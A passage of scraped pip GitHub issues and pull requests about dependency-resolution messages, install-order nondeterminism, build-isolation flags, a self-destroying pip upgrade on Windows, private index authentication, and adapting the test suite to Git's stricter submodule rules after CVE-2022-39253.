Processing ./vendor/sqlparse-0.4.2-py3-none-any.whl
Processing ./vendor/cfenv-0.5.3-py2.py3-none-any.whl
Processing ./vendor/Authlib-1.0.1-py2.py3-none-any.whl
Processing ./vendor/requests-2.27.1-py2.py3-none-any.whl
Processing ./vendor/djangorestframework-3.13.1-py3-none-any.whl
Processing ./vendor/djangorestframework_datatables-0.7.0-py2.py3-none-any.whl
Processing ./vendor/cryptography-38.0.3-cp36-abi3-manylinux_2_28_x86_64.whl
Processing ./vendor/pandas-1.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/reportlab-3.6.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/gunicorn-20.1.0-py3-none-any.whl
Processing ./vendor/mysqlclient-2.1.0-cp310-cp310-linux_x86_64.whl
Processing ./vendor/django_migration_linter-4.1.0-py3-none-any.whl
Processing ./vendor/django_auth_ldap-4.0.0-py3-none-any.whl
Processing ./vendor/asgiref-3.5.2-py3-none-any.whl
Processing ./vendor/furl-2.1.3-py2.py3-none-any.whl
Processing ./vendor/charset_normalizer-2.0.12-py3-none-any.whl
Processing ./vendor/idna-3.4-py3-none-any.whl
Processing ./vendor/urllib3-1.26.12-py2.py3-none-any.whl
Processing ./vendor/certifi-2022.9.24-py3-none-any.whl
Processing ./vendor/numpy-1.23.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/python_dateutil-2.8.2-py2.py3-none-any.whl
Processing ./vendor/Pillow-9.3.0-cp310-cp310-manylinux_2_28_x86_64.whl
Requirement already satisfied: setuptools>=3.0 in ./lib/python3.10/site-packages (from gunicorn==20.1.0->-r requirements.txt (line 13)) (59.6.0)
Processing ./vendor/python_ldap-3.4.3-cp310-cp310-linux_x86_64.whl
Processing ./vendor/cffi-1.15.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
Processing ./vendor/appdirs-1.4.4-py2.py3-none-any.whl
Processing ./vendor/toml-0.10.2-py2.py3-none-any.whl
Processing ./vendor/pycparser-2.21-py2.py3-none-any.whl
Processing ./vendor/six-1.16.0-py2.py3-none-any.whl
Processing ./vendor/orderedmultidict-1.0.1-py2.py3-none-any.whl
Processing ./vendor/pyasn1-0.4.8-py2.py3-none-any.whl
Processing ./vendor/pyasn1_modules-0.2.8-py2.py3-none-any.whl
Installing collected packages: pytz, pyasn1, appdirs, whitenoise, urllib3, toml, sqlparse, six, pycparser, pyasn1-modules, pillow, numpy, mysqlclient, idna, gunicorn, charset-normalizer, certifi, asgiref, requests, reportlab, python-ldap, python-dateutil, orderedmultidict, Django, cffi, pandas, furl, djangorestframework, django-migration-linter, django-auth-ldap, cryptography, djangorestframework-datatables, cfenv, Authlib
Successfully installed Authlib-1.0.1 Django-4.0.8 appdirs-1.4.4 asgiref-3.5.2 certifi-2022.9.24 cfenv-0.5.3 cffi-1.15.1 charset-normalizer-2.0.12 cryptography-38.0.3 django-auth-ldap-4.0.0 django-migration-linter-4.1.0 djangorestframework-3.13.1 djangorestframework-datatables-0.7.0 furl-2.1.3 gunicorn-20.1.0 idna-3.4 mysqlclient-2.1.0 numpy-1.23.4 orderedmultidict-1.0.1 pandas-1.5.0 pillow-9.3.0 pyasn1-0.4.8 pyasn1-modules-0.2.8 pycparser-2.21 python-dateutil-2.8.2 python-ldap-3.4.3 pytz-2022.1 reportlab-3.6.11 requests-2.27.1 six-1.16.0 sqlparse-0.4.2 toml-0.10.2 urllib3-1.26.12 whitenoise-6.0.0

(areyoudeterministic) me:/tmp/areyoudeterministic$ pip --version
pip 22.0.2 from /tmp/areyoudeterministic/lib/python3.10/site-packages/pip (python 3.10)
```
Note the positioning of `furl-2.1.3-py2.py3-none-any.whl` and `idna-3.4-py3-none-any.whl` in the 2 subsequent runs.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: vanschelven
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
issue_11570: state: open
title: "pip is looking at multiple versions of {package_name}" INFOs obscure actual error
body: ### Description

When package resolution is "hard", many of the following messages may be spammed to the logs:

> INFO pip is looking at multiple instances of the following message are spammed to the output {package_name} determine which version is compatible with other requirements. This could take a while.

The problem is that these messages keep getting spammed, even after an actual ERROR occurs

```
INFO: pip is looking at multiple versions of pandas to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of djangorestframework-datatables to determine which version is compatible with other requirements. This could take a while.
ERROR: Could not find a version that satisfies the requirement pillow>=9.0.0 (from reportlab) (from versions: none)
INFO: pip is looking at multiple versions of requests to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of cfenv to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of sqlparse to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of asgiref to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of whitenoise to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of pytz to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of <Python from Requires-Python> to determine which version is compatible with other requirements. This could take a while.
INFO: pip is looking at multiple versions of django to determine which version is compatible with other requirements. This could take a while.
```

The actual error is especially hard to spot when pip isn't run from a terminal, but as part of some CI/CD tool (no coloring)

### Expected behavior

I'd expect the ERROR to be the final message, so that I'll see it immediately when reading bottom-to-top (which is the usual order when debugging)

### pip version

22.0.4

### Python version

3.9

### OS

any

### How to Reproduce

I haven't been able to cleanly reproduce this yet

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: vanschelven
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11569: state: open
title: ResolutionImpossible wrong message if package doesn't exist
body: ### Description

I have a requirements.txt file with moto==4.0.9 and constraints file with responses==0.23.0. 
When I try to install with `pip install -r <req> -c <constraints>`, it leads to:

```
The conflict is caused by:
    moto 4.0.9 depends on responses>=0.13.0
    The user requested (constraint) responses==0.23.0
...
ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
```

The reason for that being that the responses==0.23.0 doesn't exist. The latest is currently 0.22.0.



### Expected behavior

I would expect pip to just tell me the package doesn't exist.

### pip version

22.0.4 (Happens on latest version too)

### Python version

3.7.12

### OS

Macbook M1 Pro (Happens on Linux too)

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: deeTEEcee
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11566: state: open
title: Propagate --use-pep517 to build-system requirements
body: ### Description

when installing a package that has build-system requirements, the --use-pep517 argument is not propagated to the building of those requirements.

for example https://github.com/zopefoundation/BTrees/blob/master/pyproject.toml


### Expected behavior

--use-pep517 will propagate

### pip version

pip 22.3 

### Python version

python 3.11

### OS

OSX

### How to Reproduce

pip install BTrees on Mac OSX with python 3.11

### Output

```
Collecting BTrees>=4.1.4
  Downloading BTrees-4.10.1.tar.gz (195 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 195.8/195.8 kB 12.5 MB/s eta 0:00:00
  Installing build dependencies: started
  Installing build dependencies: still running...
  Installing build dependencies: finished with status 'error'
  error: subprocess-exited-with-error
  
  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [77 lines of output]
      Collecting setuptools
        Using cached setuptools-65.5.0-py3-none-any.whl (1.2 MB)
      Collecting wheel
        Using cached wheel-0.37.1-py2.py3-none-any.whl (35 kB)
      Collecting persistent
        Downloading persistent-4.9.1.tar.gz (125 kB)
           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 125.3/125.3 kB 3.5 MB/s eta 0:00:00
        Preparing metadata (setup.py): started
        Preparing metadata (setup.py): finished with status 'done'
      Collecting zope.interface
        Downloading zope.interface-5.5.0.tar.gz (253 kB)
           ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 253.3/253.3 kB 10.6 MB/s eta 0:00:00
        Preparing metadata (setup.py): started
        Preparing metadata (setup.py): finished with status 'done'
      Collecting cffi
        Using cached cffi-1.15.1-cp311-cp311-macosx_10_9_x86_64.whl (179 kB)
      Collecting pycparser
        Using cached pycparser-2.21-py2.py3-none-any.whl (118 kB)
      Installing collected packages: wheel, setuptools, pycparser, zope.interface, cffi, persistent
        DEPRECATION: zope.interface is being installed using the legacy 'setup.py install' method, because it does not have a 'pyproject.toml' and the 'wheel' package is not installed. pip 23.1 will enforce this behaviour change. A possible replacement is to enable the '--use-pep517' option. Di
        Running setup.py install for zope.interface: started
        Running setup.py install for zope.interface: still running...
        Running setup.py install for zope.interface: finished with status 'done'
        DEPRECATION: persistent is being installed using the legacy 'setup.py install' method, because it does not have a 'pyproject.toml' and the 'wheel' package is not installed. pip 23.1 will enforce this behaviour change. A possible replacement is to enable the '--use-pep517' option. Di
        Running setup.py install for persistent: started
        Running setup.py install for persistent: finished with status 'error'
        error: subprocess-exited-with-error
      
        × Running setup.py install for persistent did not run successfully.
        │ exit code: 1
        ╰─> [36 lines of output]
            /Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/installer.py:27: SetuptoolsDeprecationWarning: setuptools.installer is deprecated. Requirements should be satisfied by a PEP 517 installer.
              warnings.warn(
            WARNING: The wheel package is not available.
            Traceback (most recent call last):
              File "<string>", line 2, in <module>
              File "<pip-setuptools-caller>", line 34, in <module>
              File "/private/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pip-install-m131xxtj/persistent_b1aa81d899754ef5b9950720f12c1317/setup.py", line 88, in <module>
                setup(name='persistent',
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/__init__.py", line 86, in setup
                _install_setup_requires(attrs)
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/__init__.py", line 80, in _install_setup_requires
                dist.fetch_build_eggs(dist.setup_requires)
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/dist.py", line 875, in fetch_build_eggs
                resolved_dists = pkg_resources.working_set.resolve(
                                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/pkg_resources/__init__.py", line 789, in resolve
                dist = best[req.key] = env.best_match(
                                       ^^^^^^^^^^^^^^^
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/pkg_resources/__init__.py", line 1075, in best_match
                return self.obtain(req, installer)
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/pkg_resources/__init__.py", line 1087, in obtain
                return installer(requirement)
                       ^^^^^^^^^^^^^^^^^^^^^^
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/dist.py", line 945, in fetch_build_egg
                return fetch_build_egg(self, req)
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/installer.py", line 87, in fetch_build_egg
                wheel.install_as_egg(dist_location)
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/wheel.py", line 110, in install_as_egg
                self._install_as_egg(destination_eggdir, zf)
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/wheel.py", line 118, in _install_as_egg
                self._convert_metadata(zf, destination_eggdir, dist_info, egg_info)
              File "/Library/Frameworks/Python.framework/Versions/3.11/lib/python3.11/site-packages/setuptools/wheel.py", line 162, in _convert_metadata
                os.rename(dist_info, egg_info)
            OSError: [Errno 66] Directory not empty: '/private/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pip-install-m131xxtj/persistent_b1aa81d899754ef5b9950720f12c1317/.eggs/cffi-1.15.1-py3.11-macosx-10.9-universal2.egg/cffi-1.15.1.dist-info' -> '/private/var/folders/24/8k48jl6d249_n_qfxwsl6xvm0000gn/T/pip-install-m131xxtj/persistent_b1aa81d899754ef5b9950720f12c1317/.eggs/cffi-1.15.1-py3.11-macosx-10.9-universal2.egg/EGG-INFO'
            [end of output]
      
        note: This error originates from a subprocess, and is likely not a problem with pip.
      error: legacy-install-failure
      
      × Encountered error while trying to install package.
      ╰─> persistent
      
      note: This is an issue with the package mentioned above, not pip.
      hint: See above for output from the failure.
      [end of output]
  
  note: This error originates from a subprocess, and is likely not a problem with pip.
er
ror: subprocess-exited-with-error

× pip subprocess to install build dependencies did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
Error: Process completed with exit code 1.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fgregg
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11541: state: open
title: Fix git submodule usage in the testsuite
body: Git patched a security issue (CVE-2022-39253) which prevents the use of local file pathed submodules by default. The reason for this is that untrusted submodules could be abused to expose file system contents.

The pip test suite tests handling of git submodules and to do so creates a git repo which it then uses as a submodule. This was failing due to git's stricter rules on acceptable submodules. Thankfully, pip creates and controls the content of this git repo which means pip can trust it. To express that to git we pass `-c protocol.file.allow=always` to the git submodule add command which overrides the default behavior.

This fixes https://github.com/pypa/pip/issues/11540

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: cboylan
issue_11540: state: open
title: Pip test suite submodule handling broken after Git update
body: ### Description

A [recent Git security update](https://github.blog/2022-10-18-git-security-vulnerabilities-announced/#cve-2022-39253) has made Git far more selective about the submodules that it will allow. In particular file:/// submodules are not accepted by default. The problem here is that pip tests with git submodules and git rejects the setup by default. The good news is that pip constructs the submodule itself which means it controls all of its content. The security issue only appears to be a problem with untrusted git repos. In this case we can simply tell git to trust the submodule instead because pip trusts it.

### Expected behavior

The pip testsuite should run and pass without git failures.

### pip version

main

### Python version

3.8

### OS

Ubuntu Focal

### How to Reproduce

1. Update your git package on Ubuntu Focal to latest
2. Run the pip testsuite using nox

### Output

```
tests/functional/test_install_vcs_git.py:551: 
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
tests/lib/git_submodule_helpers.py:73: in _create_test_package_with_submodule
    env.run(
        env        = <tests.lib.PipTestEnvironment object at 0x7ffaf1747250>
        pkg_path   = PosixPath('/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg/testpkg')
        rel_path   = 'testpkg/static'
        submodule_path = PosixPath('/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg_submodule')
        version_pkg_path = PosixPath('/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg')
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 

self = <tests.lib.PipTestEnvironment object at 0x7ffaf1747250>
cwd = PosixPath('/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg')
allow_stderr_error = False, allow_stderr_warning = False, allow_error = False
args = ('git', 'submodule', 'add', '/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg_submodule', 'testpkg/static')
kw = {'expect_stderr': True}, expect_error = None

    def run(
        self,
        *args: str,
        cwd: Optional[StrPath] = None,
        allow_stderr_error: Optional[bool] = None,
        allow_stderr_warning: Optional[bool] = None,
        allow_error: bool = False,
        **kw: Any,
    ) -> TestPipResult:
        """
        :param allow_stderr_error: whether a logged error is allowed in
            stderr.  Passing True for this argument implies
            `allow_stderr_warning` since warnings are weaker than errors.
        :param allow_stderr_warning: whether a logged warning (or
            deprecation message) is allowed in stderr.
        :param allow_error: if True (default is False) does not raise
            exception when the command exit value is non-zero.  Implies
            expect_error, but in contrast to expect_error will not assert
            that the exit value is zero.
        :param expect_error: if False (the default), asserts that the command
            exits with 0.  Otherwise, asserts that the command exits with a
            non-zero exit code.  Passing True also implies allow_stderr_error
            and allow_stderr_warning.
        :param expect_stderr: whether to allow warnings in stderr (equivalent
            to `allow_stderr_warning`).  This argument is an abbreviated
            version of `allow_stderr_warning` and is also kept for backwards
            compatibility.
        """
        if self.verbose:
            print(f">> running {args} {kw}")
    
        cwd = cwd or self.cwd
        if sys.platform == "win32":
            # Partial fix for ScriptTest.run using `shell=True` on Windows.
            args = tuple(str(a).replace("^", "^^").replace("&", "^&") for a in args)
    
        if allow_error:
            kw["expect_error"] = True
    
        # Propagate default values.
        expect_error = kw.get("expect_error")
        if expect_error:
            # Then default to allowing logged errors.
            if allow_stderr_error is not None and not allow_stderr_error:
                raise RuntimeError(
                    "cannot pass allow_stderr_error=False with expect_error=True"
                )
            allow_stderr_error = True
    
        elif kw.get("expect_stderr"):
            # Then default to allowing logged warnings.
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    "cannot pass allow_stderr_warning=False with expect_stderr=True"
                )
            allow_stderr_warning = True
    
        if allow_stderr_error:
            if allow_stderr_warning is not None and not allow_stderr_warning:
                raise RuntimeError(
                    "cannot pass allow_stderr_warning=False with "
                    "allow_stderr_error=True"
                )
    
        # Default values if not set.
        if allow_stderr_error is None:
            allow_stderr_error = False
        if allow_stderr_warning is None:
            allow_stderr_warning = allow_stderr_error
    
        # Pass expect_stderr=True to allow any stderr.  We do this because
        # we do our checking of stderr further on in check_stderr().
        kw["expect_stderr"] = True
>       result = super().run(cwd=cwd, *args, **kw)
E       AssertionError: Script returned code: 128

__class__  = <class 'tests.lib.PipTestEnvironment'>
allow_error = False
allow_stderr_error = False
allow_stderr_warning = False
args       = ('git', 'submodule', 'add', '/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg_submodule', 'testpkg/static')
cwd        = PosixPath('/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg')
expect_error = None
kw         = {'expect_stderr': True}
self       = <tests.lib.PipTestEnvironment object at 0x7ffaf1747250>

tests/lib/__init__.py:687: AssertionError
----------------------------- Captured stdout call -----------------------------
Script result: git submodule add /tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg_submodule testpkg/static
  return code: 128
-- stderr: --------------------
Cloning into '/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg/testpkg/static'...
fatal: transport 'file' not allowed
fatal: clone of '/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg_submodule' into submodule path '/tmp/pytest-of-runner/pytest-1/popen-gw1/test_check_submodule_addition0/workspace/scratch/version_pkg/testpkg/static' failed
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: cboylan
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11535: state: open
title: calling `python -m pip install --upgrade pip` without the correct permissions destroys pip
body: ### Description

While using pip it recommended running `python -m pip install --upgrade pip`, however when I did as such it uninstalled the old version of pip, but failed to modify the `/Scripts/pip.exe` file. This resulted in a broken pip installation where the pip command existed, but the module itself was gone.

### Expected behavior

Pip should've upgraded, rolled back, or prechecked for potential permission errors to prevent destroying itself.

### pip version

22.2.2

### Python version

Python 3.10.8 (tags/v3.10.8:aaaf517) [MSC v.1933 64 bit (AMD64)] on win32

### OS

win10 - 21H2 - 19044.2130

### How to Reproduce

- python`/Lib` -  'Authenticated Users' has write permission, along with system and admins
- python`/Scrips` - only system and admins have write permission
- probably doesn't have to be this exact permission setup, as long as `/Lib` can be modified and `/Scripts` can't at a user level.

run `python -m pip install --upgrade pip`
or `python -m pip install --force-reinstall pip`

![image](https://user-images.githubusercontent.com/102250465/196525687-e31a28f8-a548-41c0-b4bb-3ee026a2a1ae.png)

### Output

`$ python -m pip install --force-reinstall pip`
```
WARNING: Ignoring invalid distribution -p (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -ip (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution - (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -p (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -ip (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution - (c:\python310\lib\site-packages)
Collecting pip
  Using cached pip-22.3-py3-none-any.whl (2.1 MB)
WARNING: Ignoring invalid distribution -p (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -ip (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution - (c:\python310\lib\site-packages)
Installing collected packages: pip
  Attempting uninstall: pip
    WARNING: Ignoring invalid distribution -p (c:\python310\lib\site-packages)
    WARNING: Ignoring invalid distribution -ip (c:\python310\lib\site-packages)
    WARNING: Ignoring invalid distribution - (c:\python310\lib\site-packages)
    Found existing installation: pip 22.2.2
    Uninstalling pip-22.2.2:
ERROR: Could not install packages due to an OSError: [WinError 5] Access is denied: 'c:\\python310\\scripts\\pip.exe'
Consider using the `--user` option or check the permissions.

WARNING: Ignoring invalid distribution -p (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -ip (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution - (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -p (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -ip (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution - (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -p (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution -ip (c:\python310\lib\site-packages)
WARNING: Ignoring invalid distribution - (c:\python310\lib\site-packages)
```
`$ pip`
```
Traceback (most recent call last):
  File "C:\Python310\lib\runpy.py", line 196, in _run_module_as_main
    return _run_code(code, main_globals, None,
  File "C:\Python310\lib\runpy.py", line 86, in _run_code
    exec(code, run_globals)
  File "C:\Python310\Scripts\pip.exe\__main__.py", line 4, in <module>
ModuleNotFoundError: No module named 'pip'
```

I've broken Pip so many times testing this just to report this issue. I use the python installer to 'modify' pip back into existence every time. Probably why I have so many `invalid distribution` warnings. Doesn't help that I have to run it twice, the first time going 'modify' -> uncheck Pip, then I run 'modify' -> leave pip checked.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: LqdBcnAtWork
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11534: state: open
title: Installing dependencies with gitlab/github repository --extra-index-url stopped working suddenly
body: ### Description

We deploy our python packes in Gitlab and use the repository as additional index for pip.
Since 21.2 the mechanism stopped working. I checked it with 21.1.3, where it still works

### Expected behavior

pip install my-utils --extra-index-url https://my_token:<token>@gitlab.domain.net/api/v4/projects/356/packages/pypi/simple
Expected: Install the package from the repository

Same for:
pip3 config set global.extra-index-url https://my_token:<token>@gitlab.domain.net/api/v4/projects/356/packages/pypi/simple
pip install my-utils

### pip version

22.0.4 (broken since 21.2)

### Python version

3.8

### OS

linux

### How to Reproduce

Create the repository in gitlab/github and install via resources:
https://docs.gitlab.com/ee/user/packages/pypi_repository/

pip install my-utils --extra-index-url https://my_token:<token>@gitlab.domain.net/api/v4/projects/356/packages/pypi/simple

### Output

Seems to use a wrong or corrupted URL, where gitlab asks for user/password.

12 1.214 Collecting my-utils
#12 1.245 User for gitlab.domain.net: ERROR: Exception:
#12 1.256 Traceback (most recent call last):
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/cli/base_command.py", line 167, in exc_logging_wrapper
#12 1.256     status = run_func(*args)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/cli/req_command.py", line 205, in wrapper
#12 1.256     return func(self, options, args)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/commands/install.py", line 339, in run
#12 1.256     requirement_set = resolver.resolve(
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 94, in resolve
#12 1.256     result = self._result = resolver.resolve(
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 481, in resolve
#12 1.256     state = resolution.resolve(requirements, max_rounds=max_rounds)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 348, in resolve
#12 1.256     self._add_to_criteria(self.state.criteria, r, parent=None)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/resolvelib/resolvers.py", line 172, in _add_to_criteria
#12 1.256     if not criterion.candidates:
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/resolvelib/structs.py", line 151, in __bool__
#12 1.256     return bool(self._sequence)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 155, in __bool__
#12 1.256     return any(self)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 143, in <genexpr>
#12 1.256     return (c for c in iterator if id(c) not in self._incompatible_ids)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/found_candidates.py", line 47, in _iter_built
#12 1.256     candidate = func()
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/factory.py", line 215, in _make_candidate_from_link
#12 1.256     self._link_candidate_cache[link] = LinkCandidate(
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 288, in __init__
#12 1.256     super().__init__(
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 158, in __init__
#12 1.256     self.dist = self._prepare()
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 227, in _prepare
#12 1.256     dist = self._prepare_distribution()
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 299, in _prepare_distribution
#12 1.256     return preparer.prepare_linked_requirement(self._ireq, parallel_builds=True)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 487, in prepare_linked_requirement
#12 1.256     return self._prepare_linked_requirement(req, parallel_builds)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 532, in _prepare_linked_requirement
#12 1.256     local_file = unpack_url(
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 214, in unpack_url
#12 1.256     file = get_http_url(
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 94, in get_http_url
#12 1.256     from_path, content_type = download(link, temp_dir.path)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/network/download.py", line 133, in __call__
#12 1.256     resp = _http_get_download(self._session, link)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/network/download.py", line 116, in _http_get_download
#12 1.256     resp = session.get(target_url, headers=HEADERS, stream=True)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/requests/sessions.py", line 542, in get
#12 1.256     return self.request('GET', url, **kwargs)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/network/session.py", line 454, in request
#12 1.256     return super().request(method, url, *args, **kwargs)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/requests/sessions.py", line 529, in request
#12 1.256     resp = self.send(prep, **send_kwargs)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/requests/sessions.py", line 652, in send
#12 1.256     r = dispatch_hook('response', hooks, r, **kwargs)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_vendor/requests/hooks.py", line 31, in dispatch_hook
#12 1.256     _hook_data = hook(hook_data, **kwargs)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/network/auth.py", line 270, in handle_401
#12 1.256     username, password, save = self._prompt_for_password(parsed.netloc)
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/network/auth.py", line 233, in _prompt_for_password
#12 1.256     username = ask_input(f"User for {netloc}: ")
#12 1.256   File "/usr/local/lib/python3.8/site-packages/pip/_internal/utils/misc.py", line 200, in ask_input
#12 1.256     return input(message)
#12 1.256 EOFError: EOF when reading a line


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: digital-thinking
labels: type: bug: A confirmed bug or unintended behavior
S: awaiting response: Waiting for a response/more information
S: needs triage: Issues/PRs that need to be triaged
issue_11531: state: open
title: Add a wheel build number to pip list output.
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
